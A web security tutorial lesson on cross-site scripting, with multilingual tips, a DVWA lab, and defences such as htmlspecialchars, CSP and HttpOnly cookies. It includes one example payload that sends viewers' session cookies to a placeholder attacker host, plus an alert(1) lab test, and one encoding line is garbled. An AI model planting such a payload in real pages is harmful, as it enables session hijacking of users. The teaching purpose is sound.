29.3 A03 Injection: Cross-Site Scripting (XSS)

By Ravindra Bagale Last updated: 15 October 2026

Quick answer: the short, self-contained version of this lesson is the guide What Is XSS (Cross-Site Scripting) and How to Prevent It.

XSS tevha hoto jevha app user cha input tasach web page var dakhavto, ani to input madhe JavaScript asla tar to victim chya browser madhe chalto.

Type	Where the script lives	Example
Stored XSS	Saved in the database, shown to everyone	A comment containing `<script>`
Reflected XSS	In a URL/parameter, reflected back	A search box echoing your input
DOM XSS	In client-side JavaScript	JS writing `location.hash` to the page

Attack example: a comment box that saves <script>document.location='http://attacker/?c='+document.cookie</script> steals every viewer's session cookie.

The fixes:

Output encoding: escape data when showing it – in PHP, htmlspecialchars($text, ENT_QUOTES). < becomes <, so the browser shows it, does not run it.
Input validation: reject or clean unexpected characters.
Content Security Policy (CSP): a header that blocks inline/unknown scripts.
HttpOnly cookies: so JavaScript cannot read the session cookie even if XSS happens.

echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');   // safe output
// set secure cookies
session_set_cookie_params(['httponly'=>true, 'secure'=>true, 'samesite'=>'Lax']);

Ravindra Bagale's Tip

The core mantra of XSS: "Never trust input, and always encode output." In the Reels app, always use htmlspecialchars when displaying users' captions/comments. One forgotten echo puts the whole app at risk.

Ravindra Bagale's Tip – मराठी

XSS चा मूळ मंत्र: "input वर कधीही विश्वास ठेवू नका, आणि output नेहमी encode करा." Reels app मध्ये user चे captions/comments दाखवताना htmlspecialchars वापराच. एक विसरलेला echo पूर्ण app धोक्यात आणतो.

Ravindra Bagale's Tip – हिंदी

XSS का मूल मंत्र: "input पर कभी भरोसा मत करो, और output हमेशा encode करो." Reels app में user के captions/comments दिखाते समय htmlspecialchars ज़रूर इस्तेमाल करो. एक भूला हुआ echo पूरे app को खतरे में डाल देता है.

Lab

In DVWA (XSS Stored, low), post <script>alert(1)</script> and watch it run. Set security to high and see it neutralised. In your reels app, add htmlspecialchars to every place user text is displayed and confirm the script no longer runs.

XSS deep dive

Encode on output. Prefer frameworks that escape by default. Add CSP.

Helpers

React

JSX escapes text; avoid dangerouslySetInnerHTML.

Django

Autoescape on; avoid mark_safe.

Laravel

Blade escapes.

Spring

Thymeleaf encoding.

Angular

Default sanitization.

Why this lesson matters

Part 11 turns tool skills into professional defensive practice: web risks, cloud, SOC work, hardening, cryptography, Indian law and careers. Every example below stays inside systems you own or public teaching material.

Indian company (sample data)

Suppose we are a junior security engineer at an Infosys or TCS client project. You take this lesson's checklist, map it to three production services (for example a Spring Boot API, a Node.js portal and a Python job), and open tickets with evidence and owners.

Global practice

Follow public guidance from OWASP, CERT-In, CISA and cloud provider Well-Architected / security pillars. Cite them in reports.

Everyday analogy

A cricket team that only practises hitting but never fielding loses matches. Offence skills in a lab exist to improve fielding in real systems.

Apply across stacks

Wherever code appears, ask the same questions.

Java / Spring Boot

Parameterise queries, encode output, limit Actuator, patch dependencies.

.NET

EF Core parameters, HTTPS, Data Protection API, patch NuGet.

Node.js

helmet, parameterized SQL, npm audit, lockfiles.

Python

ORM, autoescape, pip-audit, Bandit.

Go / PHP / Ruby

Safe templates, prepared statements, govulncheck / composer audit / Brakeman.

nginx / Apache / Tomcat

Hide versions, TLS, least-open ports.

MySQL / PostgreSQL / MongoDB / Redis

No public ports, auth on, least-privilege users.

AWS / Azure / GCP

Roles not keys, private data stores, cloud logs on.

Defender worksheet

Write a 5-line summary.
Name one related public breach or advisory.
Practise one safe command on a lab you own.
Write the fix for a teammate.

Recap

Permission first.
Fix over spectacle.
Evidence in notes.

Defender's worksheet (do this today)

Write the lesson title and date.
List three owned systems where it applies.
Run one safe lab check and paste evidence.
Write a two-sentence fix for a teammate.
Note one CERT-In or CISA advisory that relates (title + date).

Indian workplace (sample)

At a Wipro or LTIMindtree client SOC, turn this lesson into one playbook step with an owner and a due date.

Global practice

Compare your notes with OWASP, CIS Benchmarks or a cloud Well-Architected security question. Write the overlap in five lines.

Family test

Explain the risk and the fix without jargon. If a parent or sibling can repeat the warning, you are ready to teach juniors.

Common mistakes

Skipping permission.
Tool collecting without fixing.
Publishing lab screenshots that contain secrets.
Treating encoding as encryption.

Recap

Evidence, fix, owner, date.
Own lab only.

Key terms for this page

Control: a safeguard (patch, config, process).
Finding: a weakness with evidence.
Remediation: the fix and how you verified it.
Scope: systems you are allowed to touch.
Least privilege: only the access required for the task.
Defence in depth: several controls in layers.

Mini case study

Suppose we are a junior engineer at Zoho or Freshworks (sample data). A weekly review asks each person to present one control from their area. You pick a control from this lesson, show a before/after screenshot from a lab, and list the production ticket you would open. That habit builds both skill and credibility.